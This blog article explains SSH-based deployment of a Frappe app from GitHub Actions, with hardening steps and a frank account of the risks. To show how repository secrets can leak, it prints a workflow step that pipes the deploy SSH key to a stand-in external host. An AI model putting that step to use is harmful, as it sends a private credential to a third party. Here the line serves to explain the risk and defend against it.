SSH deployment for Frappe: how it works, and what it costs you
Most of the Frappe CI examples on the internet deploy over SSH, and most of the time they are right to. If the server belongs to you, SSH deployment is simple, well understood, debuggable with tools you already have, and it works the same way on a VPS in Nairobi as it does on a droplet in Frankfurt. I run it myself on the boxes I own.
So this article does two things. It gives you a complete, working, hardened SSH deployment for a Frappe app, because most readers need one. Then it prices it honestly, because the moment the server belongs to somebody else the same design starts costing you things that are not obvious until a security review finds them. If that is your situation, the alternative is deploying to a client server you are not allowed to touch, where no credential to their environment exists at all.
use SSH deployment when you own the box. Pin the host fingerprint, use a dedicated key with a forced command in authorized_keys, and put the deploy behind an environment gate.
- The key is a bearer credential held by GitHub. Anyone who can push a workflow to the repository can use it.
StrictHostKeyChecking=nois not the fix for the host key problem. Pinning the fingerprint is.- Port 22 must be reachable from GitHub's runners, which means from a very large shared address range, or from a bastion you also have to run.
- Rotating the key requires someone with access to the server, so if that is not you, revocation is a support ticket.
A working pipeline
Start on the server. Generate a key pair that exists for this one purpose and nothing else:
ssh-keygen -t ed25519 -C "github-actions deploy to dev.client.local" \
-f ./deploy_key -N ""
Install the public half for the frappe user, with restrictions:
sudo -u frappe -i
mkdir -p ~/.ssh && chmod 700 ~/.ssh
cat >> ~/.ssh/authorized_keys <<'EOF'
restrict,command="/home/frappe/deploy.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... github-actions
EOF
chmod 600 ~/.ssh/authorized_keys
Those two prefixes do a lot of work. restrict disables port forwarding, agent forwarding, X11 and pty allocation in one word. command= forces every session authenticating with this key to run that script, regardless of what the client asks for. If the key leaks, the holder gets your deploy script, not a shell. It is the single most effective thing on this page and it is the step people skip.
If the server has not been hardened yet, do that before you add a deployment key to it. SSH hardening that survives real attacks is twenty minutes and it is the baseline everything here assumes.
Now the host fingerprint, so the workflow can verify it is talking to the right machine:
ssh-keyscan -t ed25519 dev.client.local 2>/dev/null | ssh-keygen -lf -
256 SHA256:8Xk2p0lRZ9vQm1sT4hN7bC3dE6fG8jK0aL2mP5qR7sU dev.client.local (ED25519)
Three repository secrets: DEPLOY_HOST, DEPLOY_SSH_KEY (the whole private key file, including the header and footer lines), and DEPLOY_HOST_FINGERPRINT (the SHA256:... portion only). Then the workflow:
name: Deploy over SSH
on:
push:
tags:
- 'v[0-9]+.[0-9]+.[0-9]+'
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- name: Run the deploy script on the bench host
uses: appleboy/ssh-action@v1.2.1
with:
host: ${{ secrets.DEPLOY_HOST }}
username: frappe
key: ${{ secrets.DEPLOY_SSH_KEY }}
fingerprint: ${{ secrets.DEPLOY_HOST_FINGERPRINT }}
command_timeout: 20m
envs: RELEASE_TAG
script: /home/frappe/deploy.sh
env:
RELEASE_TAG: ${{ github.ref_name }}
And the script on the server, which the forced command runs:
#!/usr/bin/env bash
# /home/frappe/deploy.sh - owned by the server, not by the repository
set -euo pipefail
BENCH=/home/frappe/frappe-bench
SITE=dev.client.local
TAG="${RELEASE_TAG:?RELEASE_TAG not set}"
cd "$BENCH"
bench --site "$SITE" ready-for-migration
bench --site "$SITE" set-maintenance-mode on
trap 'bench --site "$SITE" set-maintenance-mode off' EXIT
bench --site "$SITE" backup --with-files
git -C apps/your_app fetch --tags --prune origin
git -C apps/your_app checkout --force "$TAG"
bench setup requirements
bench build --app your_app
bench --site "$SITE" migrate
sudo supervisorctl restart frappe-bench-web: frappe-bench-workers:
That is a genuinely complete deployment. Tag a release and it runs.
Two details worth defending. The script lives on the server, not in the repository, so a change to the repository cannot change what a deploy does - the same principle that matters even more under the runner model. And the trap on EXIT means maintenance mode is lifted whether the migration succeeds or fails, which is what stops a failed deploy leaving the whole business staring at a maintenance page while you are on a matatu with no signal.
known_hosts, and the flag you will be tempted by
Deploy without the fingerprint input and you will meet the host key problem. The first connection from a fresh runner has never seen the server, so SSH cannot know whether the far end is the machine you meant. Every second answer online is:
ssh -o StrictHostKeyChecking=no frappe@dev.client.local
That makes the error go away by disabling the check that produced it. What it means is: accept whatever host key is presented, by anyone who managed to answer on that address. That check is the only thing standing between your deployment and a machine that is not yours, and on a GitHub-hosted runner you have no other context to notice with.
Pin the fingerprint. It is one secret and two minutes, and it converts a warning you suppressed into a control that fails loudly when something is wrong.
What actually happens, in order
The firewall bill
Step 3 needs port 22 open to the runner. GitHub-hosted runners have no fixed address, so you get two options and neither is free.
Open 22 to the internet, and you have a permanently exposed SSH service on a business system. With key-only authentication and fail2ban that is survivable and millions of servers do it, but you have made a permanent change to serve an occasional need, and the client's next penetration test will find it and write it down.
Or allowlist GitHub's published ranges, which you can pull from their meta API and refresh on a schedule. Better, and be clear about what it buys: those ranges are shared by every GitHub customer, so "only GitHub can reach my SSH port" also means "anyone with a GitHub account and a workflow is inside the boundary". It is a real narrowing, not a closed door.
Or run a bastion, and now you are operating an extra host, patching it, and explaining it. That is a reasonable answer at a certain scale and an absurd one for a single ERPNext box.
Set this against the firewall posture under a self-hosted runner, where the inbound list does not change at all, and you can see why the conversation goes differently.
Where the key lives, and everywhere it can leak from
The one on the middle right deserves spelling out, because it surprises people who assume the secrets UI is a boundary. Any workflow in the repository can read any repository secret, so a single step added to any workflow file is enough:
- run: curl -sS -X POST --data-binary @- https://not-your-server.example
env:
K: ${{ secrets.DEPLOY_SSH_KEY }}
That is not an exploit. It is the feature working as designed. GitHub's own documentation says plainly that any user with write access to a repository has read access to all secrets configured in it. Moving the key into an environment secret behind a required reviewer gate genuinely helps, and it does not change the fact that once the approved job runs, the key is on a machine you do not control, in a file, in plaintext.
And rotation is not yours to do
This is the part that finishes the argument for me. Suppose the key leaks. Rotating it means generating a new pair, updating the repository secret, and editing /home/frappe/.ssh/authorized_keys on the server to remove the old public half.
That last step needs access to the server. If the server is yours, it is ninety seconds. If it belongs to a client, it is an email, a ticket, a change request, and possibly a window next Tuesday, during which the compromised key still works. You will be explaining an active credential compromise to a client while waiting for them to action the fix, which is the worst possible time to discover that the revocation path runs through somebody else's calendar.
So when should you use it
Without hedging: use SSH deployment when you control the server. Your own VPS, your own staging box, your own products. The key is yours, the firewall rule is yours, rotation is a command you run, and the whole model collapses to something simple and inspectable. Everything in the first half of this article is what I actually run on my own infrastructure.
Do not use it on a server that belongs to a client who has not offered you access, because you will be asking them to open a port and trust you with a credential in order to save yourself installing a service. That trade reads badly in the meeting and reads worse in the incident report. The reasoning is in why access is a liability rather than a convenience, and the implementation that avoids it entirely is in the full no-access deployment walkthrough.
One honest caveat in the other direction. The runner model is not strictly safer, it is differently risky, and its risk is that push access to your repository becomes command execution on that machine. Before you present it to a client as the safe option, read what push access actually grants on a self-hosted runner so that you are the one who raises it.
Frequently asked questions
- Is a GitHub deploy key the same as an SSH key to my server?
- No, and confusing the two causes real mistakes. A GitHub deploy key is a public key added to a repository so a machine can clone it. The key discussed here is a login credential for your server, stored as a repository secret. They are both SSH keys and they grant completely different things.
- Can I just use StrictHostKeyChecking=no to get past the host key prompt?
- You can and you should not. That flag tells the client to accept whatever key the far end presents, which removes the only defence against connecting to an impostor. Pin the host fingerprint instead. It is one extra secret and it takes two minutes to obtain.
- How do I stop the deploy key being usable as a general shell?
- Put a forced command in authorized_keys. Prefixing the key entry with restrict and command="/home/frappe/deploy.sh" means any session authenticating with that key runs that script and nothing else, whatever the client asks for. It is the single most effective hardening available on this path.
- Does opening port 22 to GitHub's IP ranges make this safe?
- It narrows it, and GitHub publishes the ranges through its meta API so you can automate the allowlist. But the ranges are large and shared by every GitHub customer, so an allowlist means anyone running a workflow on GitHub is inside your network boundary. It is a real improvement over the open internet and it is not the same as a closed port.